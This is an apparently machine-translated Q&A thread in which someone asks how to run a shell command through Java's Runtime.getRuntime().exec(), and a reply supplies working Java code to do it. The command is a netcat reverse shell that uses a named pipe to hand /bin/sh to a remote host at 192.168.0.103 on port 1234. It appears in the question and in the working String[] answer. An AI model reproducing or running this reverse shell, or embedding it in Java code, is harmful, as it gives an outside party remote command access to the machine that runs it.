java Runtime.getRuntime().exec() 无法运行命令

qre*_*0ct 0 java linux bash runtime.exec

我需要从 Runtime.getRuntime().exec() 内部运行以下命令:

rm /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe
Run Code Online (Sandbox Code Playgroud)

我应该以什么格式将其传递给正在运行的 java 程序,该程序包含以下行:

Process localProcess = Runtime.getRuntime().exec(myStr);
Run Code Online (Sandbox Code Playgroud)

其中 myStr 是我要执行的上面的整个命令?

我已经尝试过的事情:

[\"/bin/bash\",\"-c\",\"rm /tmp/backpipe;/usr/bin/mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe\"] as String[]"
Run Code Online (Sandbox Code Playgroud)

给我错误:

无法运行程序“[”/bin/bash”、“-c”、“/usr/bin/mkfifo”:错误=2,没有这样的文件或目录

如果我只是从终端运行命令:

rm /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe
Run Code Online (Sandbox Code Playgroud)

它的运行就像一个魅力,但不是通过runtime.exec()。

小智 6

尝试使用ProcessBuilder而不是Runtime.

试试这个:

Process p = new ProcessBuilder().command("bash","-c",cmd).start();
Run Code Online (Sandbox Code Playgroud)

cmd是保存 shell 命令的变量。


更新:

String[] cmd = {"bash","-c", "rm -f /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe"}; // type last element your command
Process p = Runtime.getRuntime().exec(cmd);
Run Code Online (Sandbox Code Playgroud)